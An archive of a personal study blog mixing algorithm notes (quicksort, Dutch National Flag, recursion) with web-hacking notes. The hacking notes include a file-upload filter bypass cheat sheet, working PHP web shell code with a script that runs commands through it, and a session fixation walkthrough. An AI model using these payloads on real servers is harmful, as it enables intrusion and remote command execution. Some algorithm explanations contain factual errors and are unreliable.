이 블로그 검색

2023년 8월 22일 화요일

What is Quick Sort

Definition

One of the fundamental algorithms for sorting in ascending order.

  • Most important and widely used in any programming language.
  • O(n log n) complexity, but worst-case scenario can be O(n^2).
  • To minimize the worst-case scenario, choosing pivot positions randomly can help.
  • However, if O(n^2) is absolutely not acceptable, another sorting algorithm should be used.
  • Unstable sort.
  • Divide and Conquer algorithm.
  • Easier to implement using recursion.

Structure


Algorithm

Recursively traverses by dividing into two parts based on the pivot.

  1. Values smaller than the pivot are classified on the left, and larger values on the right. However, this process is carried out without changing the length.
  2. Choose the pivot point. Typically, the rightmost value or the leftmost value is chosen (depends on Lomuto or Hoare partition scheme).
  3. The first value is considered the "selected value."
  4. If the checking value is smaller than the pivot, swap the selected value and the checking value, and move the selected value to the right.
  5. If the checking value is greater than the pivot, move the checking value to the right.
  6. Once the checking value reaches the pivot, swap the selected value and the pivot.
  7. Repeat steps 2 to 6 recursively.

Choosing the pivot value

  1. Lomuto Partition Scheme
    • Pivot: Rightmost value
    • Selected value (i) starting point: 0
    • Checking value (j) starting point: 0
  2. Hoare Partition Scheme
    • Pivot: Leftmost value
    • Selected value (i) starting point: 1
    • Checking value (j) starting point: Rightmost value
  3. Randomly selecting

Java Code - Lomuto Partition Scheme

   public static void quickSort(int[] input) {
        quickSortRecur(input, 0, input.length - 1);
    }

    // Quick sort implementation using the Lomuto partition scheme
    public static void quickSortRecur(int[] input, int left, int right) {

        // Exit condition for quick sort
        // Using right >= left would sort in descending order (9,8,7)
        // Currently sorted in ascending order (7,8,9)
        if (left >= right) {
            return;
        }

        // Partition around the pivot and return its position
        int pivotPos = partition(input, left, right);

        // Recursively sort the left part
        quickSortRecur(input, left, pivotPos - 1);
        // Recursively sort the right part
        quickSortRecur(input, pivotPos + 1, right);

    }

    public static void swap(int[] input, int a, int b) {
        int temp = input[a];
        input[a] = input[b];
        input[b] = temp;
    }

    public static int partition(int[] input, int left, int right) {
        int pivot = input[right];

        int i = (left - 1);
        for (int j = left; j < right; ++j) {
            if (input[j] < pivot) {
                ++i;
                swap(input, i, j);
            }
        }
        swap(input, (i + 1), right);
        return i + 1;
    }

Java Code - Hoare Partition Scheme

 public static void quickSort(int[] input) {
        quickSortRecur(input, 0, input.length - 1);
    }

    // Quick sort implementation using the Hoare partition scheme
    public static void quickSortRecur(int[] input, int left, int right) {

        // Exit condition for quick sort
        if (left >= right) {
            return;
        }

        // Partition around the pivot and return its position
        int pivotPos = partition(input, left, right);

        // Recursively sort the left part
        quickSortRecur(input, left, pivotPos);
        // Recursively sort the right part
        quickSortRecur(input, pivotPos + 1, right);
    }

    public static void swap(int[] input, int a, int b) {
        if (a != b) {
            int temp = input[a];
            input[a] = input[b];
            input[b] = temp;
        }
    }

    public static int partition(int[] input, int left, int right) {
        int pivot = input[left];
        int i = left - 1;
        int j = right + 1;

        while (true) {
            do {
                ++i;
            } while (input[i] < pivot);

            do {
                --j;
            } while (input[j] > pivot);

            if (i >= j) {
                return j;
            }

            swap(input, i, j);
        }
    }

2023년 8월 20일 일요일

Cyber Security: File Upload Cheet Sheet

File Upload Bypass Methods

NULL Byte Bypass

webshell.php%00.jpg

By inserting a NULL Byte in the middle, as in webshell.php%00.jpg, the processed filename becomes "webshell.php." The NULL Byte signifies the end of a string.

HTML Encoding

In cases where other methods don't work well, you can use HTML Encoding, such as webshell.ph%70, as a simple solution.

Hidden Extensions in PHP

This content is specific to PHP7 and does not apply to PHP5.

In PHP7, there are several additional extensions recognized besides ".php":

.php  .php3  .php4  .php5  .php7  .pht  .phtml  .htm  .html

Hidden Extensions in JSP

.war

Adding a Dot After the Extension

Uploaded files typically ignore symbols like "." after the extension. However, the code that checks during upload can recognize extensions only when this symbol is used.

.php.. .php...

Bypass by Modifying Content-type

When processing files, HTTP uses different Content-types based on the file type. For example:

  • jpg uses image/jpg
  • png uses image/png
  • txt uses text/plain
  • php uses text/html

If the server filters using Content-type (blocking text/html), it's possible to bypass by using a proxy tool to modify the Content-type.

Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: image/jpeg

Cyber Security: What is File Upload

Definition

File upload attacks involve malicious users uploading files to web applications or websites to exploit security vulnerabilities. Typically, web shell files are uploaded.

Cyber Security: What is Web Shell

List of Vulnerable Points

  • Types of uploadable files
  • Cases where the uploaded file path is visible and executable

Vulnerability Verification Methods

  • Boards with file upload functionality
  • Accessing the user's profile page while logged out

Cyber Security: File Upload Cheet Sheet

Attack Methods

Attack Sequence

  1. The attacker utilizes the web application's file upload functionality to upload a file.
  2. Determine what types of files are allowed (php, png, jpg, etc.).
  3. Verify where the uploaded file is stored on the server and if the file path is exposed.
  4. Check if the exposed path allows access to the file via the GET method.
  5. Use the upload attack to extract desired information.

File Upload Structure


File Upload Attack Process



Web Shell File Upload Process

  1. File Selection: Choose a web shell file.
  2. File Upload Request: Server allows php files as web shell files.
  3. File Validation: Passes validation checks.
  4. File Information Storage: Web shell file is stored.
  5. Convey Storage Result: Attacker receives desired information through the web shell.

Countermeasures

  • Strengthen File Format Validation: Validate the uploaded file's format to only allow approved file types.
  • File Name Verification: Check file names for validity to block malicious file names.
  • File Size Limitation: Set file size limits to prevent attackers from uploading large files that could deplete server resources.
  • Tighten Security Policies: Restrict the storage location and permissions of uploaded files on the server, and strictly apply security policies to disallow uploading executable files.
  • Post-Upload Event Verification: Validate post-upload events on the server to detect malicious actions and prevent unauthorized access.

Cyber Security: What is Web Shell

Definition

A Web Shell is an application or script used to remotely control web servers through a web-based interface. Web shells come in various forms and versions with different functionalities. They are typically written in various web languages such as PHP, ASP, JSP, and more. By using a web shell, users can perform various system tasks, including exploring the web server's file system, executing commands, and accessing databases.

Web Shells in Hacking

Web shells can be utilized by attackers as tools to gain access to web servers for malicious purposes. Malicious scripts can be uploaded and executed on the web server, enabling attackers to execute system commands and take control remotely. In essence, a web shell opens a shell on a website, allowing requests received through the web to be directed towards the operating system.

While legitimate use cases for web shells do exist, due to their potential for misuse, web application developers and administrators need to implement security measures and vulnerability analysis to prevent their misuse.

Web shell attacks are often referred to as file upload attacks.

Cyber Security: What is File Upload

What is a Shell?

A shell is an interface used for interaction between a computer user and an operating system (OS).

Shells provide a text-based environment where users can input and execute commands.

Commonly used shells include Bash (Bourne Again SHell) on Unix and Linux systems, and Command Prompt or PowerShell on Windows systems.

Examples

PHP Web Shell Code

After uploading a PHP file containing the following code and identifying the uploaded file's path, you can insert the parameter "cmd":

<?php echo system($_GET['cmd']);?>
<?php
  if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
  }
?>
example.com/files/webshell.php?cmd=find+../../../../+-name+"flag.txt"
import requests
payload = {
    'cmd': 'whoami'
}
response = requests.get('example.com/files/webshell.php', params=payload)

print(response.text)

2023년 8월 16일 수요일

What is Dutch National Flag algorithm

Definition

The Dutch National Flag algorithm is an algorithm used to sort an array consisting of 0s and 1s.

Scenarios to Consider

  • When an array contains 0s and 1s and you want to sort them to distinguish between the two.
  • When you want to sort the elements of an array in-place without using additional memory.

Cases where it should not be used

The Dutch National Flag algorithm can only be used to sort arrays consisting of 0s and 1s. For sorting other types of elements, a different algorithm should be used.

Advantages

  • It can sort an array in-place without using additional memory.
  • Time complexity: O(n)
  • Space complexity: O(1)

Disadvantages

  • It can only be applied to arrays consisting of 0s and 1s, making it unsuitable for sorting other types of elements.
  • It can only sort two types of elements (0s and 1s), so modifications are needed if other types of elements are introduced.

Implementation Steps

  1. Initialize the first pointer (low) at the beginning of the array, and the second (mid) and third (high) pointers at the end of the array.
  2. Repeat the following steps while the mid pointer is less than or equal to the high pointer:
    • Based on the value of arr[mid], perform the following actions:
      • If it's 0: Swap the values of arr[low] and arr[mid], and increment low and mid by 1.
      • If it's 1: Increment the mid pointer by 1.
      • If it's 2: Swap the values of arr[mid] and arr[high], and decrement high by 1.
  3. Return the sorted array.

Example

The following is an example Java implementation of the Dutch National Flag algorithm:

public class DutchNationalFlagAlgorithm {
    public static void dutchNationalFlagSort(int[] nums) {
        int low = 0;  // Pointer for 0
        int mid = 0;  // Pointer for 1
        int high = nums.length - 1;  // Pointer for 2

        while (mid <= high) {
            if (nums[mid] == 0) {
                // Swap the current element with the low pointer element
                swap(nums, low, mid);
                low++;
                mid++;
            } else if (nums[mid] == 1) {
                // Move the mid pointer
                mid++;
            } else if (nums[mid] == 2) {
                // Swap the current element with the high pointer element
                swap(nums, mid, high);
                high--;
            }
        }
    }

    private static void swap(int[] nums, int i, int j) {
        int temp = nums[i];
        nums[i] = nums[j];
        nums[j] = temp;
    }
}



















How to Implement Recursive Functions

How to Implement Recursive Functions

Converting all loops into recursive functions is possible, but it's generally a challenging task. The reason behind this is that the mindset required for recursive functions can differ somewhat from the usual human thinking process. Therefore, acquiring this skill requires sufficient practice and familiarity.

To overcome this, I believe that organizing loops effectively is key. I've created the following table as a tool to help with this. Based on this table, I aim to gradually implement more complex loops as recursive functions, with the eventual goal of being able to implement them without relying on the table.

Recursive Function Implementation Table

  • Objective:
  • Termination Condition (Base Case):
  • Do Previous Results Matter?:
  • Problem Division (Divide the Problem):
  • Combining Results:
  • Recursive Call, Modifications Before Moving to the Next Step:

Practice Examples

Reverse a String Recursive Function Implementation Table

  • Objective: Reverse a string

  • Termination Condition (Base Case): When there are no more characters to reverse (i.e., when the length of the string becomes 0)

    if len(s) == 0: return s
    
  • Do Previous Results Matter?: Yes, each recursive call reverses the remaining part of the string

  • Problem Division (Divide the Problem): Reversing the rest of the string, excluding the first character

    string - s[-1]
    
  • Combining Results:

    stringbuilder sb.append s[-1]
    
  • Recursive Call, Modifications Before Moving to the Next Step: Concatenate the current character to the end of the reversed remaining string from the recursive call

    return reverse_string(s[1:], sb)
    

Completed Code

public static String reverseString(String input, StringBuilder sb){

        if(input.length()==0) return sb.toString();

        sb.append(input.charAt(input.length()-1));
        return reverseString(input.substring(0, input.length()-1),sb);
}

Factorial Recursive Function Implementation Table

  • Objective: Calculate factorial

  • Termination Condition (Base Case):

    if n == 0 or n == 1:
            return 1
    
  • Do Previous Results Matter?: Yes

  • Problem Division (Divide the Problem):

    factorial(input-1) * input
    
  • Combining Results:

    factorial(input-1) * input
    
  • Recursive Call, Modifications Before Moving to the Next Step:

    input-1
    

Completed Code

public static int factorial(int n) {
        if (n <= 1) {
            return 1;
        }
        return n * factorial(n - 1);
}

improve

public static int factorial(int n) {
        return factorialRecur(n, 1);
}

private static int factorialRecur(int n, int result) {
        if (n <= 1) {
            return result;
        }
        return factorialRecur(n - 1, n * result);
}

Web Hacking Practice: Session Fixation Attack

Login Screen

Login Attempt Request

Login Complete

The above website issues a session before login and verifies the ID and password received during the login attempt request.

In other words, the website follows this flow: Issuing a session ID (unauthenticated) → Login authentication → Using the authenticated session ID. Therefore, it is possible to bypass the login process.

Fake Login Attempt

By using Burp Suite's Repeater, the ID is changed to "admin" in the request and sent. Naturally, the response will be "fail," but since the user ID on the server-side has already been changed during the authentication process, and the session ID is already authenticated, resending the request from the "Login Complete" state will result in being logged in and the ID will be changed.







Logic Gate Truth Tables & Definitions

Logic Gate Truth Tables Java Code !A // NOT A&B // AND ~(A&B) // NAND A|B // OR ~(A|B) // XOR A^B // XOR ~(A^B) // XNOR ~A // Inve...